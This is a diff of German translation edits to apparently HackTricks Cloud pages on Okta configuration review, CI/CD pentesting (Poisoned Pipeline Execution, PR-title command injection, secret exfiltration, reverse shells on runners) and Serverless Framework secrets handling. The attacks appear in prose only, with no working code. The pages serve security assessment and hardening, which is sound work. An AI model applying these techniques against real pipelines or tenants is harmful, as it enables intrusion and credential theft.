- **Organisationssicherheit**: Alles kann aktiviert werden, und Aktivierungs-E-Mails sollten nicht lange dauern (7 Tage sind in Ordnung).
+- **Sicherheitsorganisation**: Alles kann aktiviert werden, und Aktivierungs-E-Mails sollten nicht lange dauern (7 Tage sind in Ordnung).
 - **Benutzernummernverhinderung**: Beide sollten aktiviert sein.
 - Beachten Sie, dass die Benutzernummernverhinderung nicht wirksam wird, wenn eine der folgenden Bedingungen erlaubt ist (siehe [Benutzerverwaltung](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) für weitere Informationen):
 - Selbstregistrierung
- JIT-Flüsse mit E-Mail-Authentifizierung
+- JIT-Workflows mit E-Mail-Authentifizierung
 - **Okta ThreatInsight-Einstellungen**: Protokollieren und Durchsetzen von Sicherheit basierend auf dem Bedrohungsniveau.

 ### HealthInsight

 Hier ist es möglich, korrekt und **gefährlich** konfigurierte **Einstellungen** zu finden.

-### Authenticators
+### Authentifizierer

-Hier finden Sie alle Authentifizierungsmethoden, die ein Benutzer verwenden könnte: Passwort, Telefon, E-Mail, Code, WebAuthn... Wenn Sie auf den Passwort-Authenticator klicken, können Sie die **Passwortrichtlinie** sehen. Überprüfen Sie, ob sie stark ist.
+Hier finden Sie alle Authentifizierungsmethoden, die ein Benutzer verwenden könnte: Passwort, Telefon, E-Mail, Code, WebAuthn... Wenn Sie auf den Passwort-Authentifizierer klicken, können Sie die **Passwortrichtlinie** sehen. Überprüfen Sie, ob sie stark ist.

-Im Tab **Enrollment** können Sie sehen, welche erforderlich oder optional sind:
+Im Tab **Enrollment** können Sie sehen, wie die erforderlichen oder optionalen aussehen:

 <figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>

 Es wird empfohlen, das Telefon zu deaktivieren. Die stärksten sind wahrscheinlich eine Kombination aus Passwort, E-Mail und WebAuthn.

-### Authentication policies
+### Authentifizierungsrichtlinien

 Jede App hat eine Authentifizierungsrichtlinie. Die Authentifizierungsrichtlinie überprüft, ob Benutzer, die versuchen, sich bei der App anzumelden, bestimmte Bedingungen erfüllen, und sie erzwingt Faktoranforderungen basierend auf diesen Bedingungen.

 Hier finden Sie die **Anforderungen für den Zugriff auf jede Anwendung**. Es wird empfohlen, mindestens ein Passwort und eine andere Methode für jede Anwendung anzufordern. Aber wenn Sie als Angreifer etwas Schwächeres finden, könnten Sie es angreifen.

-### Global Session Policy
+### Globale Sitzungsrichtlinie

-Hier finden Sie die Sitzungspolitiken, die verschiedenen Gruppen zugewiesen sind. Zum Beispiel:
+Hier finden Sie die Sitzungsrichtlinien, die verschiedenen Gruppen zugewiesen sind. Zum Beispiel:

 <figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>

-Es wird empfohlen, MFA anzufordern, die Sitzungsdauer auf einige Stunden zu beschränken, Sitzungscookies nicht über Browsererweiterungen hinweg zu speichern und den Standort und den Identitätsanbieter (wenn dies möglich ist) zu beschränken. Wenn jeder Benutzer beispielsweise aus einem bestimmten Land anmelden sollte, könnten Sie nur diesen Standort zulassen.
+Es wird empfohlen, MFA anzufordern, die Sitzungsdauer auf einige Stunden zu beschränken, Sitzungs-Cookies nicht über Browsererweiterungen hinweg zu speichern und den Standort und den Identitätsanbieter (wenn dies möglich ist) zu beschränken. Wenn beispielsweise jeder Benutzer aus einem bestimmten Land anmelden sollte, könnten Sie nur diesen Standort zulassen.

-### Identity Providers
+### Identitätsanbieter

 Identitätsanbieter (IdPs) sind Dienste, die **Benutzerkonten verwalten**. Das Hinzufügen von IdPs in Okta ermöglicht es Ihren Endbenutzern, sich mit Ihren benutzerdefinierten Anwendungen selbst zu registrieren, indem sie sich zuerst mit einem sozialen Konto oder einer Smartcard authentifizieren.

-Auf der Seite der Identitätsanbieter können Sie soziale Anmeldungen (IdPs) hinzufügen und Okta als Dienstanbieter (SP) konfigurieren, indem Sie eingehendes SAML hinzufügen. Nachdem Sie IdPs hinzugefügt haben, können Sie Routingregeln einrichten, um Benutzer basierend auf dem Kontext, wie dem Standort, dem Gerät oder der E-Mail-Domain des Benutzers, an einen IdP weiterzuleiten.
+Auf der Seite Identitätsanbieter können Sie soziale Anmeldungen (IdPs) hinzufügen und Okta als Dienstanbieter (SP) konfigurieren, indem Sie eingehendes SAML hinzufügen. Nachdem Sie IdPs hinzugefügt haben, können Sie Routingregeln einrichten, um Benutzer basierend auf dem Kontext, wie dem Standort des Benutzers, dem Gerät oder der E-Mail-Domain, an einen IdP weiterzuleiten.

 **Wenn ein Identitätsanbieter konfiguriert ist**, überprüfen Sie aus der Perspektive eines Angreifers und Verteidigers diese Konfiguration und **ob die Quelle wirklich vertrauenswürdig ist**, da ein Angreifer, der sie kompromittiert, auch Zugriff auf die Okta-Umgebung erhalten könnte.

-### Delegated Authentication
+### Delegierte Authentifizierung

 Die delegierte Authentifizierung ermöglicht es Benutzern, sich bei Okta anzumelden, indem sie Anmeldeinformationen für den **Active Directory (AD) oder LDAP**-Server ihrer Organisation eingeben.

 Überprüfen Sie dies erneut, da ein Angreifer, der das AD einer Organisation kompromittiert, möglicherweise über diese Einstellung zu Okta pivotieren könnte.

-### Network
+### Netzwerk

-Eine Netzwerkzone ist eine konfigurierbare Grenze, die Sie verwenden können, um **Zugriff auf Computer und Geräte** in Ihrer Organisation basierend auf der **IP-Adresse**, die Zugriff anfordert, zu **gewähren oder einzuschränken**. Sie können eine Netzwerkzone definieren, indem Sie eine oder mehrere einzelne IP-Adressen, IP-Adressbereiche oder geografische Standorte angeben.
+Eine Netzwerkzone ist eine konfigurierbare Grenze, die Sie verwenden können, um **Zugriff auf Computer und Geräte** in Ihrer Organisation basierend auf der **IP-Adresse**, die Zugriff anfordert, zu gewähren oder einzuschränken. Sie können eine Netzwerkzone definieren, indem Sie eine oder mehrere einzelne IP-Adressen, IP-Adressbereiche oder geografische Standorte angeben.

-Nachdem Sie eine oder mehrere Netzwerkzonen definiert haben, können Sie **sie in globalen Sitzungspolitiken**, **Authentifizierungsrichtlinien**, VPN-Benachrichtigungen und **Routingregeln** verwenden.
+Nachdem Sie eine oder mehrere Netzwerkzonen definiert haben, können Sie **sie in globalen Sitzungsrichtlinien**, **Authentifizierungsrichtlinien**, VPN-Benachrichtigungen und **Routingregeln** verwenden.

 Aus der Perspektive eines Angreifers ist es interessant zu wissen, welche IPs erlaubt sind (und zu überprüfen, ob einige **IPs privilegierter** sind als andere). Aus der Perspektive eines Angreifers, wenn die Benutzer von einer bestimmten IP-Adresse oder Region aus zugreifen sollten, überprüfen Sie, ob diese Funktion ordnungsgemäß verwendet wird.

-### Device Integrations
+### Geräteintegrationen

- **Endpoint Management**: Endpoint Management ist eine Bedingung, die in einer Authentifizierungsrichtlinie angewendet werden kann, um sicherzustellen, dass verwaltete Geräte Zugriff auf eine Anwendung haben.
+- **Endpoint-Management**: Endpoint-Management ist eine Bedingung, die in einer Authentifizierungsrichtlinie angewendet werden kann, um sicherzustellen, dass verwaltete Geräte Zugriff auf eine Anwendung haben.
 - Ich habe dies noch nicht gesehen. TODO
 - **Benachrichtigungsdienste**: Ich habe dies noch nicht gesehen. TODO

 ### API

-Sie können auf dieser Seite Okta-API-Token erstellen und die **erstellten** Token, deren **Berechtigungen**, **Ablauf**-Zeit und **Ursprungs-URLs** sehen. Beachten Sie, dass API-Token mit den Berechtigungen des Benutzers generiert werden, der das Token erstellt hat, und nur gültig sind, wenn der **Benutzer**, der sie erstellt hat, **aktiv** ist.
+Sie können auf dieser Seite Okta-API-Token erstellen und die **erstellten**, deren **Berechtigungen**, **Ablaufzeit** und **Ursprungs-URLs** sehen. Beachten Sie, dass API-Token mit den Berechtigungen des Benutzers generiert werden, der das Token erstellt hat, und nur gültig sind, wenn der **Benutzer**, der sie erstellt hat, **aktiv** ist.

-Die **Trusted Origins** gewähren Zugriff auf Websites, die Sie kontrollieren und denen Sie vertrauen, um auf Ihre Okta-Organisation über die Okta-API zuzugreifen.
+Die **Vertrauenswürdigen Ursprünge** gewähren Zugriff auf Websites, die Sie kontrollieren und denen Sie vertrauen, um auf Ihre Okta-Organisation über die Okta-API zuzugreifen.

 Es sollten nicht viele API-Token vorhanden sein, da ein Angreifer, wenn es viele gibt, versuchen könnte, auf sie zuzugreifen und sie zu verwenden.

 ## Workflow

-### Automations
+### Automatisierungen

 Automatisierungen ermöglichen es Ihnen, automatisierte Aktionen zu erstellen, die basierend auf einer Reihe von Auslösebedingungen ausgeführt werden, die während des Lebenszyklus der Endbenutzer auftreten.

 Ein Beispiel für eine Bedingung könnte "Benutzerinaktivität in Okta" oder "Ablauf des Benutzerpassworts in Okta" sein, und die Aktion könnte "E-Mail an den Benutzer senden" oder "Ändern des Benutzerlebenszyklusstatus in Okta" sein.

-## Reports
+## Berichte

-### Reports
+### Berichte

 Laden Sie Protokolle herunter. Sie werden an die **E-Mail-Adresse** des aktuellen Kontos **gesendet**.

-### System Log
+### Systemprotokoll

 Hier finden Sie die **Protokolle der von Benutzern durchgeführten Aktionen** mit vielen Details wie Anmeldungen in Okta oder in Anwendungen über Okta.

-### Import Monitoring
+### Importüberwachung

 Dies kann **Protokolle von anderen Plattformen importieren**, die mit Okta aufgerufen wurden.

-### Rate limits
+### Ratenlimits

-Überprüfen Sie die erreichten API-Rate-Limits.
+Überprüfen Sie die erreichten API-Ratenlimits.

-## Settings
+## Einstellungen

-### Account
+### Konto

-Hier finden Sie **allgemeine Informationen** über die Okta-Umgebung, wie den Firmennamen, die Adresse, **E-Mail-Rechnungsadresse**, **E-Mail-technischer Kontakt** und auch, wer Okta-Updates erhalten sollte und welche Art von Okta-Updates.
+Hier finden Sie **allgemeine Informationen** über die Okta-Umgebung, wie den Firmennamen, die Adresse, den **E-Mail-Rechnungs-Kontakt**, den **E-Mail-technischen Kontakt** und auch, wer Okta-Updates erhalten sollte und welche Art von Okta-Updates.

 ### Downloads

@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Pentesting CI/CD Methodologie

 {{#include ../banners/hacktricks-training.md}}

@@ -20,7 +20,7 @@ CI/CD-Pipelines ermöglichen es Entwicklern, die **Ausführung von Code** für v

 Diese Systeme müssen jedoch **irgendwo ausgeführt werden** und normalerweise mit **privilegierten Anmeldeinformationen, um Code bereitzustellen oder auf sensible Informationen zuzugreifen**.

-## VCS Pentesting Methodology
+## VCS Pentesting Methodologie

 > [!NOTE]
 > Auch wenn einige VCS-Plattformen das Erstellen von Pipelines erlauben, werden wir in diesem Abschnitt nur potenzielle Angriffe auf die Kontrolle des Quellcodes analysieren.
@@ -37,25 +37,25 @@ Plattformen, die den Quellcode Ihres Projekts enthalten, enthalten sensible Info
 - Wenn das Geheimnis in der URL ist, passiert dasselbe und der Angreifer hat auch das Geheimnis.
 - **Code-Kompromittierung:** Wenn ein böswilliger Akteur eine Art von **Schreibzugriff** auf die Repos hat, könnte er versuchen, **bösartigen Code einzuschleusen**. Um erfolgreich zu sein, muss er möglicherweise **Branch-Schutzmaßnahmen umgehen**. Diese Aktionen können mit verschiedenen Zielen im Hinterkopf durchgeführt werden:
 - Kompromittierung des Hauptzweigs, um **die Produktion zu gefährden**.
- Kompromittierung des Hauptzweigs (oder anderer Zweige), um **Entwicklermaschinen zu gefährden** (da sie normalerweise Tests, Terraform oder andere Dinge innerhalb des Repos auf ihren Maschinen ausführen).
+- Kompromittierung des Hauptzweigs (oder anderer Zweige), um **Entwicklermaschinen zu gefährden** (da sie normalerweise Tests, Terraform oder andere Dinge auf ihren Maschinen im Repo ausführen).
 - **Kompromittierung der Pipeline** (siehe nächsten Abschnitt).

-## Pipelines Pentesting Methodology
+## Pipelines Pentesting Methodologie

 Der gebräuchlichste Weg, eine Pipeline zu definieren, besteht darin, eine **CI-Konfigurationsdatei, die im Repository gehostet wird**, zu verwenden, das die Pipeline erstellt. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und Einstellungen der Build-Umgebung.\
 Diese Dateien haben typischerweise einen konsistenten Namen und ein konsistentes Format, zum Beispiel — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) und die GitHub Actions YAML-Dateien, die sich unter .github/workflows befinden. Wenn sie ausgelöst werden, **zieht der Pipeline-Job den Code** aus der ausgewählten Quelle (z.B. Commit / Branch) und **führt die im CI-Konfigurationsdatei angegebenen Befehle** gegen diesen Code aus.

-Daher ist das ultimative Ziel des Angreifers, irgendwie **diese Konfigurationsdateien** oder die **Befehle, die sie ausführen**, zu **kompromittieren**.
+Daher ist das ultimative Ziel des Angreifers, auf irgendeine Weise **diese Konfigurationsdateien** oder die **Befehle, die sie ausführen**, zu **kompromittieren**.

-### PPE - Poisoned Pipeline Execution
+### PPE - Vergiftete Pipeline-Ausführung

-Der Poisoned Pipeline Execution (PPE) Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den erforderlichen Berechtigungen können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, ändern, um bösartige Befehle einzufügen. Dies "vergiftet" die CI-Pipeline und führt zur Ausführung dieser bösartigen Befehle.
+Der Vergiftete Pipeline-Ausführungs (PPE) Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den erforderlichen Berechtigungen können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, ändern, um bösartige Befehle einzuschließen. Dies "vergiftet" die CI-Pipeline und führt zur Ausführung dieser bösartigen Befehle.

 Damit ein böswilliger Akteur bei einem PPE-Angriff erfolgreich ist, muss er in der Lage sein:

 - **Schreibzugriff auf die VCS-Plattform** zu haben, da Pipelines normalerweise ausgelöst werden, wenn ein Push oder ein Pull-Request durchgeführt wird. (Überprüfen Sie die VCS-Pentesting-Methodologie für eine Zusammenfassung der Möglichkeiten, Zugriff zu erhalten).
 - Beachten Sie, dass manchmal ein **externer PR als "Schreibzugriff" zählt**.
- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die **CI-Konfigurationsdatei oder andere Dateien, auf die die Konfiguration angewiesen ist, ändern kann**.
+- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die **CI-Konfigurationsdatei oder andere Dateien, auf die die Konfiguration angewiesen ist**, **ändern** kann.
 - Dazu muss er möglicherweise in der Lage sein, **Branch-Schutzmaßnahmen zu umgehen**.

 Es gibt 3 PPE-Varianten:
@@ -65,39 +65,39 @@ Es gibt 3 PPE-Varianten:
 - **Öffentlicher PPE oder 3PE**: In einigen Fällen können die Pipelines von Benutzern **ausgelöst werden, die keinen Schreibzugriff im Repo haben** (und die möglicherweise nicht einmal Teil der Organisation sind), weil sie einen PR senden können.
 - **3PE-Befehlsinjektion**: Normalerweise setzen CI/CD-Pipelines **Umgebungsvariablen** mit **Informationen über den PR**. Wenn dieser Wert von einem Angreifer kontrolliert werden kann (wie der Titel des PR) und in einem **gefährlichen Ort** (wie der Ausführung von **sh-Befehlen**) **verwendet** wird, könnte ein Angreifer **Befehle dort injizieren**.

-### Exploitation Benefits
+### Ausbeutungsnutzen

-Wenn man die 3 Varianten kennt, um eine Pipeline zu vergiften, lassen Sie uns überprüfen, was ein Angreifer nach einer erfolgreichen Ausnutzung erhalten könnte:
+Wenn man die 3 Varianten kennt, um eine Pipeline zu vergiften, lassen Sie uns überprüfen, was ein Angreifer nach einer erfolgreichen Ausbeutung erhalten könnte:

- **Geheimnisse**: Wie bereits erwähnt, erfordern Pipelines **Berechtigungen** für ihre Jobs (Code abrufen, erstellen, bereitstellen...) und diese Berechtigungen werden normalerweise **in Geheimnissen gewährt**. Diese Geheimnisse sind normalerweise über **Umgebungsvariablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, so viele Geheimnisse wie möglich zu exfiltrieren.
+- **Geheimnisse**: Wie bereits erwähnt, erfordern Pipelines **Berechtigungen** für ihre Jobs (den Code abrufen, ihn erstellen, bereitstellen...) und diese Berechtigungen werden normalerweise **in Geheimnissen gewährt**. Diese Geheimnisse sind normalerweise über **Umgebungsvariablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, so viele Geheimnisse wie möglich zu exfiltrieren.
 - Abhängig von der Pipeline-Plattform muss der Angreifer möglicherweise **die Geheimnisse in der Konfiguration angeben**. Das bedeutet, dass, wenn der Angreifer die CI-Konfigurationspipeline nicht ändern kann (**I-PPE** zum Beispiel), er **nur die Geheimnisse exfiltrieren könnte, die diese Pipeline hat**.
 - **Berechnung**: Der Code wird irgendwo ausgeführt, abhängig davon, wo er ausgeführt wird, könnte ein Angreifer in der Lage sein, weiter zu pivotieren.
- **On-Premises**: Wenn die Pipelines vor Ort ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk mit Zugriff auf mehr Ressourcen** enden.
- **Cloud**: Der Angreifer könnte auf **andere Maschinen in der Cloud** zugreifen, könnte aber auch **IAM-Rollen/Dienstkonten-Tokens** von dort **exfiltrieren**, um **weiteren Zugriff innerhalb der Cloud** zu erhalten.
- **Plattformmaschine**: Manchmal werden die Jobs innerhalb der **Pipelines-Plattformmaschinen** ausgeführt, die sich normalerweise in einer Cloud mit **keinem weiteren Zugriff** befinden.
+- **Vor Ort**: Wenn die Pipelines vor Ort ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk mit Zugang zu mehr Ressourcen** enden.
+- **Cloud**: Der Angreifer könnte auf **andere Maschinen in der Cloud** zugreifen, könnte aber auch **IAM-Rollen/Dienstkonten-Tokens** von dort **exfiltrieren**, um **weiteren Zugang innerhalb der Cloud** zu erhalten.
+- **Plattformmaschine**: Manchmal werden die Jobs innerhalb der **Pipelines-Plattformmaschinen** ausgeführt, die sich normalerweise in einer Cloud mit **keinem weiteren Zugang** befinden.
 - **Wählen Sie es aus:** Manchmal hat die **Pipelines-Plattform mehrere Maschinen konfiguriert**, und wenn Sie die **CI-Konfigurationsdatei ändern können**, können Sie **angeben, wo Sie den bösartigen Code ausführen möchten**. In dieser Situation wird ein Angreifer wahrscheinlich auf jeder möglichen Maschine eine Reverse-Shell ausführen, um zu versuchen, sie weiter auszunutzen.
 - **Kompromittierung der Produktion**: Wenn Sie sich innerhalb der Pipeline befinden und die endgültige Version von dort erstellt und bereitgestellt wird, könnten Sie **den Code kompromittieren, der letztendlich in der Produktion ausgeführt wird**.

-## More relevant info
+## Weitere relevante Informationen

 ### Tools & CIS Benchmark

 - [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zur Überprüfung Ihres Software-Lieferketten-Stacks auf Sicherheitskonformität basierend auf einem neuen [**CIS Software Supply Chain Benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Die Überprüfung konzentriert sich auf den gesamten SDLC-Prozess, in dem Risiken von der Codezeit bis zur Bereitstellungszeit aufgedeckt werden können.

-### Top 10 CI/CD Security Risk
+### Top 10 CI/CD Sicherheitsrisiken

 Überprüfen Sie diesen interessanten Artikel über die Top 10 CI/CD-Risiken laut Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)

 ### Labs

- Auf jeder Plattform, die Sie lokal ausführen können, finden Sie, wie Sie sie lokal starten können, damit Sie sie nach Belieben konfigurieren und testen können.
- Gitea + Jenkins-Labor: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- Auf jeder Plattform, die Sie lokal ausführen können, finden Sie, wie Sie sie lokal starten können, damit Sie sie nach Ihren Wünschen konfigurieren können, um sie zu testen.
+- Gitea + Jenkins Lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)

-### Automatic Tools
+### Automatische Tools

 - [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ist ein statisches Code-Analyse-Tool für Infrastruktur als Code.

-## References
+## Referenzen

 - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)

@@ -2,15 +2,15 @@

 {{#include ../banners/hacktricks-training.md}}

-## Grundlegende Informationen
+## Grundinformationen

 ### Organisation

-Eine **Organisation** ist die höchste Ebene innerhalb des Serverless Framework-Ökosystems. Sie repräsentiert eine **kollektive Gruppe**, wie ein Unternehmen, eine Abteilung oder eine andere große Einheit, die mehrere Projekte, Teams und Anwendungen umfasst.
+Eine **Organisation** ist die höchste Ebene innerhalb des Serverless Framework-Ökosystems. Sie repräsentiert eine **kollektive Gruppe**, wie ein Unternehmen, eine Abteilung oder eine große Einheit, die mehrere Projekte, Teams und Anwendungen umfasst.

 ### Team

-Das **Team** sind die Benutzer mit Zugang innerhalb der Organisation. Teams helfen dabei, Mitglieder basierend auf Rollen zu organisieren. **`Mitarbeiter`** können bestehende Apps anzeigen und bereitstellen, während **`Administratoren`** neue Apps erstellen und die Organisationseinstellungen verwalten können.
+Das **Team** sind die Benutzer mit Zugang innerhalb der Organisation. Teams helfen dabei, Mitglieder basierend auf Rollen zu organisieren. **`Mitarbeiter`** können bestehende Apps anzeigen und bereitstellen, während **`Administratoren`** neue Apps erstellen und die Einstellungen der Organisation verwalten können.

 ### Anwendung

@@ -34,7 +34,7 @@ handler: handler.hello

 Eine **Funktion** stellt eine einzelne serverlose Funktion dar, wie z.B. eine AWS Lambda-Funktion. Sie enthält den Code, der als Reaktion auf Ereignisse ausgeführt wird.

-Sie ist im Abschnitt `functions` in `serverless.yml` definiert und gibt den Handler, die Laufzeit, Ereignisse, Umgebungsvariablen und andere Einstellungen an.
+Sie wird im Abschnitt `functions` in `serverless.yml` definiert, wobei der Handler, die Laufzeit, Ereignisse, Umgebungsvariablen und andere Einstellungen angegeben werden.
 ```yaml
 functions:
 hello:
@@ -128,7 +128,7 @@ region: us-west-2

 <summary>Plugins</summary>

-**Plugins** erweitern die Funktionalität des Serverless Frameworks, indem sie neue Funktionen hinzufügen oder mit anderen Tools und Diensten integriert werden. Sie werden im Abschnitt `plugins` definiert und über npm installiert.
+**Plugins** erweitern die Funktionalität des Serverless Frameworks, indem sie neue Funktionen hinzufügen oder mit anderen Tools und Diensten integriert werden. Sie sind im Abschnitt `plugins` definiert und werden über npm installiert.
 ```yaml
 plugins:
 - serverless-offline
@@ -157,7 +157,7 @@ layers:

 <summary>Variablen und benutzerdefinierte Variablen</summary>

-**Variablen** ermöglichen eine dynamische Konfiguration, indem sie die Verwendung von Platzhaltern erlauben, die zur Deploy-Zeit aufgelöst werden.
+**Variablen** ermöglichen eine dynamische Konfiguration, indem sie die Verwendung von Platzhaltern erlauben, die zur Zeit der Bereitstellung aufgelöst werden.

 - **Syntax:** `${variable}`-Syntax kann auf Umgebungsvariablen, Dateiinhalte oder andere Konfigurationsparameter verweisen.

@@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'}

 <summary>Ausgaben</summary>

-**Ausgaben** definieren die Werte, die nach der Bereitstellung eines Dienstes zurückgegeben werden, wie z. B. Ressourcen-ARNs, Endpunkte oder andere nützliche Informationen. Sie werden im Abschnitt `outputs` angegeben und häufig verwendet, um Informationen an andere Dienste weiterzugeben oder den einfachen Zugriff nach der Bereitstellung zu ermöglichen.
+**Ausgaben** definieren die Werte, die nach der Bereitstellung eines Dienstes zurückgegeben werden, wie z.B. Ressourcen-ARNs, Endpunkte oder andere nützliche Informationen. Sie werden im Abschnitt `outputs` angegeben und häufig verwendet, um Informationen an andere Dienste weiterzugeben oder um einen einfachen Zugriff nach der Bereitstellung zu ermöglichen.
 ```yaml
 ¡outputs:
 ApiEndpoint:
@@ -204,7 +204,7 @@ Fn::Join:

 <summary>IAM-Rollen und Berechtigungen</summary>

-**IAM-Rollen und Berechtigungen** definieren die Sicherheitsanmeldeinformationen und Zugriffsrechte für Ihre Funktionen und andere Ressourcen. Sie werden unter den `provider`- oder individuellen Funktionseinstellungen verwaltet, um die erforderlichen Berechtigungen anzugeben.
+**IAM-Rollen und Berechtigungen** definieren die Sicherheitsanmeldeinformationen und Zugriffsrechte für Ihre Funktionen und andere Ressourcen. Sie werden unter den `provider` oder den Einstellungen der einzelnen Funktionen verwaltet, um die erforderlichen Berechtigungen festzulegen.
 ```yaml
 provider:
 [...]
@@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-

 <summary>Umgebungsvariablen</summary>

-**Variablen** ermöglichen es Ihnen, Konfigurationseinstellungen und Geheimnisse an Ihre Funktionen zu übergeben, ohne sie hart zu codieren. Sie werden im Abschnitt `environment` für entweder den Anbieter oder einzelne Funktionen definiert.
+**Variablen** ermöglichen es Ihnen, Konfigurationseinstellungen und Geheimnisse an Ihre Funktionen zu übergeben, ohne sie fest einzugeben. Sie werden im Abschnitt `environment` für entweder den Anbieter oder einzelne Funktionen definiert.
 ```yaml
 provider:
 environment:
@@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
 ## Create A New App
 ## Indicate a name like "tutorialapp)
 ```
-Dies sollte eine **App** namens `tutorialapp` erstellt haben, die Sie in [serverless.com](serverless.com-security.md) überprüfen können, sowie einen Ordner namens `Tutorial` mit der Datei **`handler.js`**, die einige JS-Code mit einem `helloworld`-Code enthält, und die Datei **`serverless.yml`**, die diese Funktion deklariert:
+Dies sollte eine **App** namens `tutorialapp` erstellt haben, die Sie in [serverless.com](serverless.com-security.md) überprüfen können, sowie einen Ordner namens `Tutorial` mit der Datei **`handler.js`**, die einige JS-Code mit einem `helloworld`-Code enthält, und der Datei **`serverless.yml`**, die diese Funktion deklariert:

 {{#tabs }}
 {{#tab name="handler.js" }}
@@ -324,7 +324,7 @@ method: get
 {{#endtabs }}

 4. Erstellen Sie einen AWS-Anbieter, indem Sie im **Dashboard** zu `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws` gehen.
-1. Um `serverless.com` Zugriff auf AWS zu gewähren, wird es aufgefordert, einen CloudFormation-Stack mit dieser Konfigurationsdatei auszuführen (zum Zeitpunkt dieses Schreibens): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+1. Um `serverless.com` Zugriff auf AWS zu gewähren, wird es aufgefordert, einen CloudFormation-Stack mit dieser Konfigurationsdatei auszuführen (zum Zeitpunkt des Schreibens): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
 2. Diese Vorlage generiert eine Rolle mit dem Namen **`SFRole-<ID>`** mit **`arn:aws:iam::aws:policy/AdministratorAccess`** über das Konto mit einer Vertrauensidentität, die dem `Serverless.com` AWS-Konto den Zugriff auf die Rolle ermöglicht.

 <details>
@@ -482,8 +482,8 @@ TableName: ${self:service}-customerTable-${sls:stage}
 {{#endtabs }}

 6. Bereitstellung mit **`serverless deploy`**
-1. Die Bereitstellung erfolgt über einen CloudFormation-Stack
-2. Beachten Sie, dass die **Lambdas über das API-Gateway exponiert sind** und nicht über direkte URLs
+1. Die Bereitstellung erfolgt über einen CloudFormation Stack
+2. Beachten Sie, dass die **lambdas über API Gateway exponiert sind** und nicht über direkte URLs
 7. **Testen Sie es**
 1. Der vorherige Schritt gibt die **URLs** aus, unter denen Ihre API-Endpunkt-Lambda-Funktionen bereitgestellt wurden

@@ -556,7 +556,7 @@ Das Speichern sensibler Informationen (z. B. API-Schlüssel, Datenbankanmeldeinf
 Die **empfohlene** Methode zum Speichern von Umgebungsvariablen in der **`serverless.yml`**-Datei von serverless.com (zum Zeitpunkt dieses Schreibens) besteht darin, die `ssm`- oder `s3`-Provider zu verwenden, die es ermöglichen, die **Umgebungswerte aus diesen Quellen zur Bereitstellungszeit abzurufen** und die **Umgebungsvariablen der **lambdas** mit dem **Text ohne die Werte** zu konfigurieren!

 > [!CAUTION]
-> Daher kann jeder, der Berechtigungen zum Lesen der Konfiguration der lambdas innerhalb von AWS hat, **auf alle diese Umgebungsvariablen im Klartext zugreifen!**
+> Daher kann jeder mit Berechtigungen zum Lesen der Konfiguration der lambdas innerhalb von AWS **auf alle diese Umgebungsvariablen im Klartext zugreifen!**

 Zum Beispiel wird das folgende Beispiel SSM verwenden, um eine Umgebungsvariable abzurufen:
 ```yaml
@@ -564,14 +564,14 @@ provider:
 environment:
 DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
 ```
-Und selbst wenn dies das Hardcoding des Wertes der Umgebungsvariablen in der **`serverless.yml`**-Datei verhindert, wird der Wert zur Zeit der Bereitstellung abgerufen und wird **im Klartext in der Lambda-Umgebungsvariablen hinzugefügt**.
+Und selbst wenn dies das Hardcoding des Wertes der Umgebungsvariable in der **`serverless.yml`**-Datei verhindert, wird der Wert zur Zeit der Bereitstellung abgerufen und wird **im Klartext in der Lambda-Umgebungsvariable hinzugefügt**.

 > [!TIP]
-> Der empfohlene Weg, Umgebungsvariablen mit serveless.com zu speichern, wäre, **es in einem AWS-Geheimnis zu speichern** und nur den geheimen Namen in der Umgebungsvariablen zu speichern, und der **Lambda-Code sollte es abrufen**.
+> Der empfohlene Weg, Umgebungsvariablen mit serveless.com zu speichern, wäre, **sie in einem AWS-Geheimnis zu speichern** und nur den geheimen Namen in der Umgebungsvariable zu speichern, und der **Lambda-Code sollte es abrufen**.

 #### **Minderungsstrategien**

- **Secrets Manager-Integration:** Verwenden Sie Dienste wie **AWS Secrets Manager.**
